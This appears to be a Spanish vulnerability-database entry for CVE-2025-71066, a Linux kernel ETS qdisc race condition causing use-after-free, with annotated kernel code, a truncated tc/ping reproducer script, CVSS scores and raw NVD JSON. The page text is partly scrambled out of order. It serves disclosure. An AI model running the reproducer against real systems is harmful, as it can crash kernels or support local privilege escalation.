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CVE-2025-71066

Estado: AplazadaAlta (7.8)—

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Leer descripción completaMostrar menos

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Detalles técnicos trazas, registros y código del informe original
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
                          struct netlink_ext_ack *extack)
{
...

      // (1) this lock is preventing .change handler (`ets_qdisc_change`)
      //to race with .dequeue handler (`ets_qdisc_dequeue`)
      sch_tree_lock(sch);

      for (i = nbands; i < oldbands; i++) {
              if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                      list_del_init(&q->classes[i].alist);
              qdisc_purge_queue(q->classes[i].qdisc);
      }

      WRITE_ONCE(q->nbands, nbands);
      for (i = nstrict; i < q->nstrict; i++) {
              if (q->classes[i].qdisc->q.qlen) {
		      // (2) the class is added to the q->active
                      list_add_tail(&q->classes[i].alist, &q->active);
                      q->classes[i].deficit = quanta[i];
              }
      }
      WRITE_ONCE(q->nstrict, nstrict);
      memcpy(q->prio2band, priomap, sizeof(priomap));

      for (i = 0; i < q->nbands; i++)
              WRITE_ONCE(q->classes[i].quantum, quanta[i]);

      for (i = oldbands; i < q->nbands; i++) {
              q->classes[i].qdisc = queues[i];
              if (q->classes[i].qdisc != &noop_qdisc)
                      qdisc_hash_add(q->classes[i].qdisc, true);
      }

      // (3) the qdisc is unlocked, now dequeue can be called in parallel
      // to the rest of .change handler
      sch_tree_unlock(sch);

      ets_offload_change(sch);
      for (i = q->nbands; i < oldbands; i++) {
	      // (4) we're reducing the refcount for our class's qdisc and
	      //  freeing it
              qdisc_put(q->classes[i].qdisc);
	      // (5) If we call .dequeue between (4) and (5), we will have
	      // a strong UAF and we can control RIP
              q->classes[i].qdisc = NULL;
              WRITE_ONCE(q->classes[i].quantum, 0);
              q->classes[i].deficit = 0;
              gnet_stats_basic_sync_init(&q->classes[i].bstats);
              memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
      }
      return 0;
}

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

🎯 Técnicas ATT&CK

Cómo se explota esta vulnerabilidad y qué consigue el atacante, en el lenguaje de MITRE ATT&CK.

Acceso local (AV:L) sin interacción del usuario. La race condition en el kernel permite escalar privilegios mediante UAF controlado tras modificar parámetros qdisc. Requiere capacidad de crear namespaces (PR:L).

Inferido por nuestro agente de análisis a partir de la descripción oficial, el vector CVSS y la CWE, y comprobado por un supervisor. Puede contener errores.

🛡️ Mitigaciones ATT&CK que cubren estas técnicas

Tecnologías afectadas (1)

⚠ Inferidas por IA a partir de la descripción — NVD aún no ha analizado esta CVE; no son CPE verificados.

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2025-71066",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-71066",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2026-05-22T03:55:51.470582Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 7.8,
          "attackVector": "LOCAL",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "integrityImpact": "HIGH",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 5.9,
        "exploitabilityScore": 1.8
      },
      {
        "type": "Secondary",
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "cvssData": {
          "scope": "CHANGED",
          "version": "3.1",
          "baseScore": 7.5,
          "attackVector": "LOCAL",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "integrityImpact": "HIGH",
          "userInteraction": "NONE",
          "attackComplexity": "HIGH",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 6,
        "exploitabilityScore": 0.8
      }
    ]
  },
  "affected": [
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "affectedData": [
        {
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "product": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "ae2659d2c670252759ee9c823c4e039c0e05a6f2",
              "lessThan": "062d5d544e564473450d72e6af83077c2b2ff7c3",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e25bdbc7e951ae5728fee1f4c09485df113d013c",
              "lessThan": "c7f6e7cc14df72b997258216e99d897d2df0dbbd",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "de6d25924c2a8c2988c6a385990cafbe742061bf",
              "lessThan": "a75d617a4ef08682f5cfaadc01d5141c87e019c9",
              "versionType": "git"
            },
            {
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              "versionType": "git"
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            {
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            {
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              "versionType": "git"
            },
            {
              "status": "affected",
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              "lessThan": "ce052b9402e461a9aded599f5b47e76bc727f7de",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "5.10.83",
              "lessThan": "5.10.248",
              "versionType": "semver"
            },
            {
              "status": "affected",
              "version": "5.15.6",
              "lessThan": "5.15.198",
              "versionType": "semver"
            }
          ],
          "programFiles": [
            "net/sched/sch_ets.c"
          ],
          "defaultStatus": "unaffected"
        },
        {
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "product": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.16"
            },
            {
              "status": "unaffected",
              "version": "0",
              "lessThan": "5.16",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "5.10.248",
              "versionType": "semver",
              "lessThanOrEqual": "5.10.*"
            },
            {
              "status": "unaffected",
              "version": "5.15.198",
              "versionType": "semver",
              "lessThanOrEqual": "5.15.*"
            },
            {
              "status": "unaffected",
              "version": "6.1.160",
              "versionType": "semver",
              "lessThanOrEqual": "6.1.*"
            },
            {
              "status": "unaffected",
              "version": "6.6.120",
              "versionType": "semver",
              "lessThanOrEqual": "6.6.*"
            },
            {
              "status": "unaffected",
              "version": "6.12.64",
              "versionType": "semver",
              "lessThanOrEqual": "6.12.*"
            },
            {
              "status": "unaffected",
              "version": "6.18.3",
              "versionType": "semver",
              "lessThanOrEqual": "6.18.*"
            },
            {
              "status": "unaffected",
              "version": "6.19",
              "versionType": "original_commit_for_fix",
              "lessThanOrEqual": "*"
            }
          ],
          "programFiles": [
            "net/sched/sch_ets.c"
          ],
          "defaultStatus": "affected"
        }
      ]
    }
  ],
  "published": "2026-01-13T16:16:05.960",
  "references": [
    {
      "url": "https://git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de",
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    }
  ],
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "description": [
        {
          "lang": "en",
          "value": "CWE-362"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: ets: Always remove class from active list before deleting in ets_qdisc_change\n\nzdi-disclosures@trendmicro.com says:\n\nThe vulnerability is a race condition between `ets_qdisc_dequeue` and\n`ets_qdisc_change`.  It leads to UAF on `struct Qdisc` object.\nAttacker requires the capability to create new user and network namespace\nin order to trigger the bug.\nSee my additional commentary at the end of the analysis.\n\nAnalysis:\n\nstatic int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,\n                          struct netlink_ext_ack *extack)\n{\n...\n\n      // (1) this lock is preventing .change handler (`ets_qdisc_change`)\n      //to race with .dequeue handler (`ets_qdisc_dequeue`)\n      sch_tree_lock(sch);\n\n      for (i = nbands; i < oldbands; i++) {\n              if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)\n                      list_del_init(&q->classes[i].alist);\n              qdisc_purge_queue(q->classes[i].qdisc);\n      }\n\n      WRITE_ONCE(q->nbands, nbands);\n      for (i = nstrict; i < q->nstrict; i++) {\n              if (q->classes[i].qdisc->q.qlen) {\n\t\t      // (2) the class is added to the q->active\n                      list_add_tail(&q->classes[i].alist, &q->active);\n                      q->classes[i].deficit = quanta[i];\n              }\n      }\n      WRITE_ONCE(q->nstrict, nstrict);\n      memcpy(q->prio2band, priomap, sizeof(priomap));\n\n      for (i = 0; i < q->nbands; i++)\n              WRITE_ONCE(q->classes[i].quantum, quanta[i]);\n\n      for (i = oldbands; i < q->nbands; i++) {\n              q->classes[i].qdisc = queues[i];\n              if (q->classes[i].qdisc != &noop_qdisc)\n                      qdisc_hash_add(q->classes[i].qdisc, true);\n      }\n\n      // (3) the qdisc is unlocked, now dequeue can be called in parallel\n      // to the rest of .change handler\n      sch_tree_unlock(sch);\n\n      ets_offload_change(sch);\n      for (i = q->nbands; i < oldbands; i++) {\n\t      // (4) we're reducing the refcount for our class's qdisc and\n\t      //  freeing it\n              qdisc_put(q->classes[i].qdisc);\n\t      // (5) If we call .dequeue between (4) and (5), we will have\n\t      // a strong UAF and we can control RIP\n              q->classes[i].qdisc = NULL;\n              WRITE_ONCE(q->classes[i].quantum, 0);\n              q->classes[i].deficit = 0;\n              gnet_stats_basic_sync_init(&q->classes[i].bstats);\n              memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));\n      }\n      return 0;\n}\n\nComment:\nThis happens because some of the classes have their qdiscs assigned to\nNULL, but remain in the active list. This commit fixes this issue by always\nremoving the class from the active list before deleting and freeing its\nassociated qdisc\n\nReproducer Steps\n(trimmed version of what was sent by zdi-disclosures@trendmicro.com)\n\n```\nDEV=\"${DEV:-lo}\"\nROOT_HANDLE=\"${ROOT_HANDLE:-1:}\"\nBAND2_HANDLE=\"${BAND2_HANDLE:-20:}\"   # child under 1:2\nPING_BYTES=\"${PING_BYTES:-48}\"\nPING_COUNT=\"${PING_COUNT:-200000}\"\nPING_DST=\"${PING_DST:-127.0.0.1}\"\n\nSLOW_TBF_RATE=\"${SLOW_TBF_RATE:-8bit}\"\nSLOW_TBF_BURST=\"${SLOW_TBF_BURST:-100b}\"\nSLOW_TBF_LAT=\"${SLOW_TBF_LAT:-1s}\"\n\ncleanup() {\n  tc qdisc del dev \"$DEV\" root 2>/dev/null\n}\ntrap cleanup EXIT\n\nip link set \"$DEV\" up\n\ntc qdisc del dev \"$DEV\" root 2>/dev/null || true\n\ntc qdisc add dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\n\ntc qdisc add dev \"$DEV\" parent 1:2 handle \"$BAND2_HANDLE\" \\\n  tbf rate \"$SLOW_TBF_RATE\" burst \"$SLOW_TBF_BURST\" latency \"$SLOW_TBF_LAT\"\n\ntc filter add dev \"$DEV\" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2\ntc -s qdisc ls dev $DEV\n\nping -I \"$DEV\" -f -c \"$PING_COUNT\" -s \"$PING_BYTES\" -W 0.001 \"$PING_DST\" \\\n  >/dev/null 2>&1 &\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 0\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\ntc -s qdisc ls dev $DEV\ntc qdisc del dev \"$DEV\" parent \n---truncated---"
    },
    {
      "lang": "es",
      "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet/sched: ets: Siempre eliminar la clase de la lista activa antes de eliminar en ets_qdisc_change\n\nzdi-disclosures@trendmicro.com dice:\n\nLa vulnerabilidad es una condición de carrera entre 'ets_qdisc_dequeue' y\n'ets_qdisc_change'. Conduce a UAF en el objeto 'struct Qdisc'.\nEl atacante requiere la capacidad de crear un nuevo usuario y un espacio de nombres de red\npara activar el error.\nVer mi comentario adicional al final del análisis.\n\nAnálisis:\n\nstatic int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,\n                          struct netlink_ext_ack *extack)\n{\n...\n\n      // (1) este bloqueo está evitando que el manejador .change ('ets_qdisc_change')\n      //compita con el manejador .dequeue ('ets_qdisc_dequeue')\n      sch_tree_lock(sch);\n\n      for (i = nbands; i &lt; oldbands; i++) {\n              if (i &gt;= q-&gt;nstrict &amp;&amp; q-&gt;classes[i].qdisc-&gt;q.qlen)\n                      list_del_init(&amp;q-&gt;classes[i].alist);\n              qdisc_purge_queue(q-&gt;classes[i].qdisc);\n      }\n\n      WRITE_ONCE(q-&gt;nbands, nbands);\n      for (i = nstrict; i &lt; q-&gt;nstrict; i++) {\n              if (q-&gt;classes[i].qdisc-&gt;q.qlen) {\n\t\t      // (2) la clase se añade a q-&gt;active\n                      list_add_tail(&amp;q-&gt;classes[i].alist, &amp;q-&gt;active);\n                      q-&gt;classes[i].deficit = quanta[i];\n              }\n      }\n      WRITE_ONCE(q-&gt;nstrict, nstrict);\n      memcpy(q-&gt;prio2band, priomap, sizeof(priomap));\n\n      for (i = 0; i &lt; q-&gt;nbands; i++)\n              WRITE_ONCE(q-&gt;classes[i].quantum, quanta[i]);\n\n      for (i = oldbands; i &lt; q-&gt;nbands; i++) {\n              q-&gt;classes[i].qdisc = queues[i];\n              if (q-&gt;classes[i].qdisc != &amp;noop_qdisc)\n                      qdisc_hash_add(q-&gt;classes[i].qdisc, true);\n      }\n\n      // (3) el qdisc se desbloquea, ahora dequeue puede ser llamado en paralelo\n      // al resto del manejador .change\n      sch_tree_unlock(sch);\n\n      ets_offload_change(sch);\n      for (i = q-&gt;nbands; i &lt; oldbands; i++) {\n\t      // (4) estamos reduciendo el contador de referencias para el qdisc de nuestra clase y\n\t      //  liberándolo\n              qdisc_put(q-&gt;classes[i].qdisc);\n\t      // (5) Si llamamos a .dequeue entre (4) y (5), tendremos\n\t      // un UAF fuerte y podremos controlar RIP\n              q-&gt;classes[i].qdisc = NULL;\n              WRITE_ONCE(q-&gt;classes[i].quantum, 0);\n              q-&gt;classes[i].deficit = 0;\n              gnet_stats_basic_sync_init(&amp;q-&gt;classes[i].bstats);\n              memset(&amp;q-&gt;classes[i].qstats, 0, sizeof(q-&gt;classes[i].qstats));\n      }\n      return 0;\n}\n\nComentario:\nEsto sucede porque algunas de las clases tienen sus qdiscs asignados a\nNULL, pero permanecen en la lista activa. Este commit soluciona este problema al siempre\neliminar la clase de la lista activa antes de eliminar y liberar su\nqdisc asociado.\n\nPasos para Reproducir\n(versión recortada de lo que fue enviado por zdi-disclosures@trendmicro.com)\n\n```\nDEV=\"${DEV:-lo}\"\nROOT_HANDLE=\"${ROOT_HANDLE:-1:}\"\nBAND2_HANDLE=\"${BAND2_HANDLE:-20:}\"   # child under 1:2\nPING_BYTES=\"${PING_BYTES:-48}\"\nPING_COUNT=\"${PING_COUNT:-200000}\"\nPING_DST=\"${PING_DST:-127.0.0.1}\"\n\nSLOW_TBF_RATE=\"${SLOW_TBF_RATE:-8bit}\"\nSLOW_TBF_BURST=\"${SLOW_TBF_BURST:-100b}\"\nSLOW_TBF_LAT=\"${SLOW_TBF_LAT:-1s}\"\n\ncleanup() {\n  tc qdisc del dev \"$DEV\" root 2&gt;/dev/null\n}\ntrap cleanup EXIT\n\nip link set \"$DEV\" up\n\ntc qdisc del dev \"$DEV\" root 2&gt;/dev/null || true\n\ntc qdisc add dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 2\n\ntc qdisc add dev \"$DEV\" parent 1:2 handle \"$BAND2_HANDLE\" \\\n  tbf rate \"$SLOW_TBF_RATE\" burst \"$SLOW_TBF_BURST\" latency \"$SLOW_TBF_LAT\"\n\ntc filter add dev \"$DEV\" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2\ntc -s qdisc ls dev $DEV\n\nping -I \"$DEV\" -f -c \"$PING_COUNT\" -s \"$PING_BYTES\" -W 0.001 \"$PING_DST\" \\\n  &gt;/dev/null 2&gt;&amp;1 &amp;\ntc qdisc change dev \"$DEV\" root handle \"$ROOT_HANDLE\" ets bands 2 strict 0\nt"
    }
  ],
  "lastModified": "2026-07-30T06:24:47.800",
  "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
}